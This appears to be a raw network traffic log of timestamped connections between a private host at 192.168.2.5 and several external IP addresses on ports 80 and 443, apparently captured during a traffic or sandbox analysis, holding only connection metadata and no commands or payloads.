Nov 17, 2024 12:35:38.446749926 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.447524071 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.447724104 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.448141098 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.449383974 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.449400902 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.459351063 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.464962006 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.464991093 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.465008974 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.465017080 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.466666937 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.466707945 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.467022896 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.467407942 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.467475891 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.469408989 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.469419956 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.469439030 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.469444036 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.470671892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470731974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470747948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470792055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.470792055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.470798016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470815897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470879078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.470879078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.470879078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.470899105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.470989943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.471005917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.471020937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.471010923 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.471038103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.471075058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.471075058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.471091032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.473783016 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.473911047 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.473964930 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.475972891 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.476016045 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.476087093 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.477613926 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.477675915 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.477726936 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.477749109 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.477756977 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.477854967 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.478013992 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.478028059 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.478039980 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.478045940 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.479451895 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.479485989 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.480849028 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.480880022 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.480995893 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.481009960 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.482281923 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.482304096 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.482383966 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.482517004 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.482527018 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.484390020 CET	49898	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.484419107 CET	443	49898	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.484560966 CET	49898	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.484993935 CET	49898	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.485009909 CET	443	49898	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.551920891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.551951885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.551965952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552006960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552048922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552064896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552079916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552095890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552105904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552119017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552182913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552191973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552198887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552244902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552244902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552279949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552294970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552309990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552367926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552372932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552387953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552388906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552449942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552483082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552495003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552498102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552512884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552531004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552594900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552634954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552654982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552670002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552684069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.552706957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.552778959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553519964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553535938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553550005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553567886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553591967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553606033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553631067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553642988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553642988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553644896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553661108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553678989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553720951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553791046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553828001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553843021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553858042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553873062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553888083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553904057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.553941011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.553941011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554018974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554203987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554213047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554215908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554224014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554239035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554253101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554270029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554307938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554316998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554331064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554332972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554347992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554363966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554378033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554378033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554378986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554394960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554419994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.554440975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554440975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.554548979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.556816101 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.556876898 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.556943893 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.556969881 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.557019949 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.557019949 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.557039976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557054043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557077885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557113886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557133913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.557133913 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.557142973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557157993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557189941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.557231903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.557231903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.557322025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589189053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589202881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589260101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589272022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589320898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589320898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589366913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589381933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589397907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589422941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589627981 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.589689016 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589745045 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.589806080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589817047 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:38.589860916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589870930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589886904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.589943886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589943886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.589999914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590014935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590029001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590044975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590097904 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.590154886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.590182066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590194941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.590260983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.590260983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.591075897 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:38.591084957 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.670572042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670614004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670629978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670650959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.670690060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670716047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670723915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670731068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670753002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.670753002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.670838118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670875072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.670903921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.670964956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670979977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.670994997 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671032906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671087980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671116114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671130896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671144962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671161890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671181917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671216965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671216965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671216965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671308994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671344995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671363115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671376944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671405077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671420097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671435118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671449900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671464920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671452999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671453953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671453953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671479940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671483994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671495914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671484947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671513081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671519041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671546936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671608925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671694040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671709061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671725035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671761990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671777010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671792030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671807051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671819925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671819925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671822071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671838999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.671897888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671897888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.671989918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672003984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672019005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672043085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672086000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672235966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672250986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672266006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672281027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672281027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672306061 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672354937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672384024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672408104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672422886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672436953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672455072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672496080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672492981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672499895 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672511101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672525883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672540903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672545910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672545910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672557116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672559977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672605991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672647953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672662973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672678947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672713995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672713995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672733068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672739983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672748089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672764063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672813892 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672832012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672849894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672873974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.672883987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672883987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672944069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.672944069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.673975945 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.674029112 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.674072027 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.674098015 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.674154997 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.674154997 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.708359003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708384991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708401918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708467960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708506107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708539963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708556890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708573103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708607912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708607912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708616018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708671093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708677053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708677053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708695889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708710909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708726883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708791018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708791018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708868027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708882093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708897114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708914042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.708929062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708960056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.708992958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.709136009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.715675116 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.716361046 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.798223019 CET	80	49778	185.215.113.206	192.168.2.5
